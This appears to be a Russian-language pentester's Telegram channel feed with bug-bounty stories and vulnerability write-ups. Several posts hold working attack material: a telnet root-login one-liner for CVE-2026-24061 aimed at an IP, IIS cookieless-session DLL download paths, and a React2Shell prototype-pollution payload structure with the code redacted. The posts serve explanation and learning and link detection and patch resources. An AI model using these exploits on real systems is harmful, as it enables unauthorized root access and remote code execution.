вольтаж

Буду выступать на OFFZONE 2026, в COMMUNITY.ZONE 20 августа, 17:45 - 18:15 Расскажу как 4 месяца жал полный газ в ИИшные гонки за кнопкой взломать. Упор сделаю на "что делать не надо", а также как сэкономить денег и чего стоит делать 😏

я...

давно хотел признаться тебе

привет, спишь?

лучше бы блечил

Pentest award 2026 открывает прием заявок! Вновь у этичных хакеров появляется возможность громко заявить о своих достижениях. Можно снова делиться наработками, демонстрировать талант и профессионализм. Участники получают вдохновения и новые рабочие инсайты, а также развиваются за счет обмена уникальным опытом с коллегами со всей страны. В этом году мы внедрили много нового, но участие, как всегда, остается бесплатным. Главный приз за победу — макбук и статуэтка! За вторые и третьи места призеры получат айфоны и смарт-часы. Церемония награждения состоится 14 августа на Красном Октябре. ✨Отправляйте заявки на сайте, участвуйте и побеждайте! #pentestaward

план на это лето: 1. веб пробивать бесплано 2. ии ломать платно 3. репорт сдават в пентест авардс 4. макбук получат 5. покушат на награждении

взломать интернет бесплатно 2026 USER="-f root" telnet -a 104.16.149.244 23 вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля. что? 🐱 Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos. Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера. Без Kerberos, этот юзернейм попросту не детектился. Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм. Новый шаблон: /usr/bin/login " -p -h %h %?u{-f %u}{%U}" и вот тут происходит кабум бабах ракета взрыв 🤯 1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова" 2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином 3. содержимое $USER переменной никак не санитизируется . . . Теперь перечитай эксплойт USER="-f root" telnet -a 104.16.149.244 23 Да это же уязвимость на argument injection! Повторим флоу атаки 🃏 0. выставляем переменную $USER="-f root" и включаем автологин -a 1. переменная $USER не проверяется, но учитывается сервером 2. $USER подставляется в шаблон логина вместо {%U} 3. сервер получает команду /usr/bin/login -p -f root 4. бинарь login скипает аутентификацию из-за -f 5. поздравляю, ты root ——— Dockerfile для тестовой лабы FROM debian:11-slim ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && \ apt-get install -y --no-install-recommends \ inetutils-telnetd=2:2.0-1+deb11u2 \ telnet && \ rm -rf /var/lib/apt/lists/* RUN useradd user1 && \ sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf EXPOSE 23 CMD ["/usr/sbin/inetutils-inetd", "-d"] Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч

первый крит на бб ☠️ Все совпадения случайны, да и вообще, просыпайся, багбаунти не существует. Погнали грызть бананы и прыгать по деревьям. Одним холодным декабрьским вечером, сканер обнаруживает IIS сервер, уязвимый к cokieless сессии и shortname enum, благодаря чему даёт вытаскивать DLL библиотеки. https://target.com/(S(X))/b/(S(X))in/Newtonsoft.Json.dll Пару минут гуглежа и попадается статья SWARM'ов о пробиве вебчика по этому же сценарию. Из хаоса информации и непонимая, выстроилась цель - раскопать кастомные DLL библиотеки. Помня, что сервер уязвим к shortname enumeration, пробую подобрать имена через shortscan. shortscan --timeout 20 --fullurl --stabilise --patience 1 --verbosity 1 https://target.com БИНГО! Я ПОЛУЧИЛ ничего. Не сдаёмся. Пошёл в таверну ИИ, расписал воображаемую ситуацию и попросил сгенерить словарь DLL библиотек, включая как стандартные, так и с названием компании и целевого домена. Среди мусора попалась Swashbuckle.Core.dll (автоматически генерит swagger) Развернул Windows виртуалку, скачал ilspy (декомпилятор .NET) и начал смотреть что же там есть, ведь ИИ подсказал "в DLL должен быть определен путь к Swagger". Около получаса прыгаю по коду и интерфейсу, ментально привыкая к .NET. Кое-как костылями натыкаюсь на путь к сваггеру /swagger/docs/v1 Ликуя, вписываю в браузер иииИИ... сваггер не открывается. Сервер возвращает 404 и не более. Десятки раз перепроверил код, посоветовался с ИИ, пробовал обойти всякими методами и софтами. Лишь через час вспоминаю, что сервер же уязвим к cookieless сессии! Складываю (S(X)) и путь к сваггеру /(S(X))/swagger/docs/v1 ОТКРЫВАЕТСЯ СВАГГЕР 👁 Смотрю, изучаю, пробую API на вкус, затем вспоминаю истинную цель похода на сваггер - подобрать имена DLL библиотек. Собрал ключевые слова со сваггера, закинул в ИИ и попросил сгенерировать ещё один словарь, но уже только кастомных библиотек. Подождал, скачал, запустил подбор и получил хиты! /(S(X))/b/(S(X))in/COMPANY.core.dll /(S(X))/b/(S(X))in/LONGASSDOMAIN.dll /(S(X))/b/(S(X))in/COMPANYX.mvc.dll Быстро, с потным руками и болью в спине (уже шёл 3-й час ночи), кидаю DLL'ки в ilspy и смотрю код сервиса. Кода слишком много, но и нельзя останаливаться. Надо выкачать весь код и уже затем браться за анализ. Заметил, что в каждой DLL, в начале кода, были расписаны импорты внешних библиотек. С ИИ написал базовый скрипт, что забирал все импорты из DLL и собирал их в единый словарь # Bulk extract from all DLLs in a directory $dlls = Get-ChildItem -Path "C:\Users\w0ltage\Desktop\company-dlls\new" -Filter "*.dll" foreach ($dll in $dlls) { try { $asm = [System.Reflection.Assembly]::ReflectionOnlyLoadFrom($dll.FullName) $asm.GetReferencedAssemblies() | ForEach-Object { $_.Name } } catch { Write-Host "Could not load $($dll.Name): $($_.Exception.Message)" -ForegroundColor Red } } Так подобрал ещё десяток библиотек. На этом заканчиваю сессию багхантинга и ложусь спать. Следующий день, казалось, был холоднее предыдущего. Впрочем, это не мешало моим пальцам искать уязвимости по небоскребам кода, словно собирая подарки на рождество. I live for this shit. Следуя по сценарию SWARM'ов, следующим этапом надо было найти RCE. Часы шли медленно, но я не сдавался. Структуры, классы, импорты, утилиты, связки, креды, заголовки, внутренние адреса. Спустя много дней ручного анализа кода, перепробовав кучу вариантов десера, логических баг и других вагонов уязвимостей. Ещё пару часов отчаяния и попадается API эндпоинт /journal/get/{id} /journal/get/8 Без аутентификации, вернулись чьи-то персональные данные. Край данных оказался на числе в почти 7 миллионов. Считай все эти 7кк ПДн торчали в интернет без аутентификации многие годы. Заполнил репорт с уровнем критичности "высокий", но вендор сам повысил до критического и щедро наградил за находку. В коде были найдены ещё пара лоу-медиум уязвимостей и всё. Остался без RCE, но с первым критом 🚗

Spotify (▶️) | Other

I wish you pain and suffering. За этот год выгорел с пентеста, нырнул в стартапы с hao.vc, совмещая с работой и сомнениями. Раз, питчдеки в стрессе, два, фулстак лид, три, проект закрыли, кодим следующий... четыре, делегировал обязанности и воспламенился пентестом вновь. Пять, зачем я сделал это круг? Шесть, ресерчи до утра и безрезультатное бб. Семь, криты и пакеты денег. Восемь, я доволен этим годом (?) Было больно, но я вырос и преодолел вязкое болото своих страхов. Желаю и тебе, в новом году, сложнейших испытаний и отчаяния, ведь я знаю, что ты преодолеешь всё и найдешь своё место среди звёзд 🌃 And it will be better than anything else you can imagine. If you're going to try, go all the way. There is no other feeling like that. You will be alone with the gods, and the nights will flame with fire. You will ride life straight to perfect laughter. It's the only good fight there is. [^]

🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"…

🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж" * Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$ facts * легче обновиться, чем защищаться waf'ом * все сдают react2shell в бб и надеются на деньги * багхантеры написали браузерное расширение на детект * nuclei добавили смешные правила на детект (кто пропустит сложение чисел в powershell?) vuln * в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process (curl не всегда есть в контейнере, но fetch() всегда есть в node runtime) * react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта * уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста Включай этот absolute cinema. Это будут лучшие 40 минут за день. https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20) Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense https://x.com/rauchg/status/1997362942929440937 #CVE_2025_55182 #web

пацаны, не гоняйте за эксплойтами 1дей, вы системе ещё нужны

⚠️  #web #offense #события #заметки ➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)? Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных; ⚡️ UPD: Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору! 🐇 Проблема Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга.  До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа; С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор; Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject); Соответственно, можем сформировать специальный объект, где then указывал бы на Function files = {     "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),     "1": (None, '{"x":1}'), } 🐇 Эксплуатация 0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок; 1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта; 2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка; 3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj); 4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код; 5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️ 6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError;  В запросе должен быть заголовок Next-Action 🐇 Полезная нагрузка crafted_chunk = {     "then": "$1:__proto__:then",     "status": "resolved_model",     "reason": -1,     "value": '{"then": "$B0"}',     "_response": {         "_prefix": f"███████████████████;",         "_formData": {             "get": "$1:constructor:constructor",         },     }, } files = {     "0": (None, json.dumps(crafted_chunk)),     "1": (None, '"$@0"'), } Разбирая полезную нагрузку по пунктам: ▪️"then": "$1:__proto__:then" ➡️ чтобы чанк ID=0 переписал собственный .then(); ▪️"status": "resolved_model" ➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk; ▪️"reason": -1 ➡️ чтобы не упасть на моменте toString в initializeModelChunk; ▪️"value": '{"then": "$B0"}' ➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj); ▪️"_prefix" ➡️ здесь произвольный код для выполнения; ▪️"_formData" ➡️ здесь указываем на конструктор; 🐇 Обнаружение & Митигация    🧩   WAF правила:  AWS / Google Cloud / Azure    🧩   Шаблон Nuclei:  projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml CVE-2025-55182 Уязвимые версии:  от React 19 до React 19.2.0 Починили в React 19.2.1 Починили тут:  facebook/react/commit/7dc9...8700 Объявили тут:  react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components CVE-2025-66478 Уязвимые версии:  от Next.js 15 до Next.js 16 Починили в этих версиях Починили тут:  vercel/next.js/commit/6ef90...07b2 Объявили тут:  nextjs.org/blog/CVE-2025-66478 ⬜➖⬜➖⬜➖ ➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:    🧩   msanft/CVE-2025-55182    🧩   maple3142/48bc...f5f3 ⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:    🧩   lachlan2k/React2Shell-CVE-2025-55182-original-poc ➡️Stay safe!    @HaHacking  🐇

нет слов одни эмоции